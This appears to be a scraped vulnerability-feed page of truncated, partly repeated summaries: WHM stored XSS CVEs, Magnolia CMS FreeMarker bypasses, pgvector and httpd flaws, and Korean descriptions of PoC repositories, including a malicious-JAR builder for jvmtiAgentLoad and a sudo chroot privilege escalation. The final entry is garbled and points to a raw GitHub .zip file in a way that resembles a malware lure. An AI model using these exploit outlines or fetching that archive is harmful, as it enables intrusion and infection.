CVE-2026-93029

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

MAGNOLIA-8348

MAGNOLIA-8348: Magnolia CMS의 FreeMarker 제한 우회 3 Magnolia CMS v6.2.17 이하의 FreeMarker 필터에서 발생하는 문제로, 공격자는 보안 제한을 우회하고 임의 코드를 실행하거나, 임의 파일을 읽기/쓰기/이동/복사/삭제하거나, 조작된 FreeMarker 페이로드를 통해 DoS 공격을 수행할 수 있습니다. 임의 JSP 파일을 작성하여 임의 코드 실행에 성공했습니다. 협업: 이 취약점은 Marian-Razvan Ilisanu와의 협업을 통해 발견되었습니다. 공급업체 공개: 이...

CVE-2026-93029

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2026-93029

A stored XSS vulnerability exists in the WHM Manage SSL Hosts interface , which can allow for arbitrary code execution . The vulnerability is associated with CWE-79 (Improper Neutralization of Input During Web Page Generation). Based on the CVSS v3.0 metric, the flaw has a CRITICAL severity score...

EUVD-2026-91200

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2026-93029

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

EUVD-2026-91199

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

CVE-2026-93697

A stored XSS vulnerability exists in the WHM Mass Modify Accounts interface, potentially allowing for arbitrary code execution . The vulnerability is characterized by a CRITICAL base severity score of 9.0, where an attacker with low privileges can achieve high impact on confidentiality, integrity...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

MAGNOLIA-8281

MAGNOLIA-8281: Magnolia CMS의 FreeMarker 제한 우회 2 Magnolia CMS v6.2.16 및 이하 버전의 FreeMarker 필터에서 발견된 문제로, 공격자는 제작된 FreeMarker 페이로드를 통해 보안 제한을 우회하고 임의의 파일을 읽기/쓰기/이동/복사/삭제할 수 있습니다. 임의의 JSP 파일을 작성하여 임의 코드 실행에 성공했습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. CVE가 없는 이유는? 저나 공급업체 모두 이러한 취약점에...

jvmtiAgentLoad-Exploit

jvmtiAgentLoad를 통한 임의 코드 실행 설명: jvmtiAgentLoad를 악용하기 위한 악성 JAR 생성 도구 및 코드 사용법: $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Linux 대상 다음 명령은 Linux 대상에서 사용할 수 있는 JARmal.jar를 생성합니다: bash createjar.sh linux 'id /tmp/jvmtiLoadAgenttest' Windows 대상 다음 명령은 Windows 대상...

CVE-2025-32463-POC

CVE-2025-32463 - sudo 로컬 권한 상승 PoC ⚠️ 이 저장소는 CVE-2025-32463에 대한 개념 증명PoC 익스플로잇을 포함합니다 교육 목적 및 승인된 환경 에서만 사용하도록 작성되었습니다. 🧠 취약점 정보 CVE-2025-32463 은 sudo 버전 1.9.14 1.9.17 에 영향을 미치는 로컬 권한 상승 취약점입니다. 이 결함은 1.9.14에서 도입된 --chroot -R 옵션을 처리하는 방식에 있습니다. 권한이 없는 사용자가 제어된 chroot 경로 안에 가짜 nsswitch.conf를 생성하여,...

Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization

Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...

WBCE-CMS-Stored-XSS---Pages-Menu

WBCE CMS Stored XSS v1.6.1 작성자: Sergio 설명: WBCE CMS 1.6.1은 Intro Page 매개변수에 제작된 페이로드를 통해 공격자가 임의의 코드를 실행할 수 있게 하는 크로스사이트 저장형 스크립팅XSS 취약점의 영향을 받습니다. 페이로드는 사용자의 세션과 무관하게 메인 페이지에서 실행되므로, 다른 사용자로 홈페이지에 접근하더라도 페이로드가 실행됩니다. POC: 패널에 로그인하면 Pages의 "Modify Intro Page" 섹션으로 이동합니다...

[SECURITY] [DLA 4812-1] libio-compress-perl security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4812-1 [email protected] https://www.debian.org/lts/security/ Arnaud Rebillout October 02, 2026 https://wiki.debian.org/LTS -...

CVE-2026-103484

A flaw was found in pgvector. An authenticated database user can trigger an out-of-bounds write during an Inverted File Flat IVFFlat index build operation. This vulnerability may allow the attacker to achieve arbitrary code execution or cause a crash resulting in a denial of service on the databa...

CVE-2026-63292

A flaw was found in httpd's modvhostalias module. A remote attacker can exploit a stack-based buffer overflow by sending a crafted HTTP request with an excessively large Host header to a server using specific virtual hosting configurations. This issue can lead to arbitrary code execution or cause...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 명령을 쉽고 안전하게 실행하세요 🚀 개요 CVE-2025-55182는 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 및 React Server Components의 취약점입니다. 이 문제는 React Server Actions에서 잘못된 데이터 처리로 인해 인증되지 않은 사용자가 영향을 받는 서버에서 임...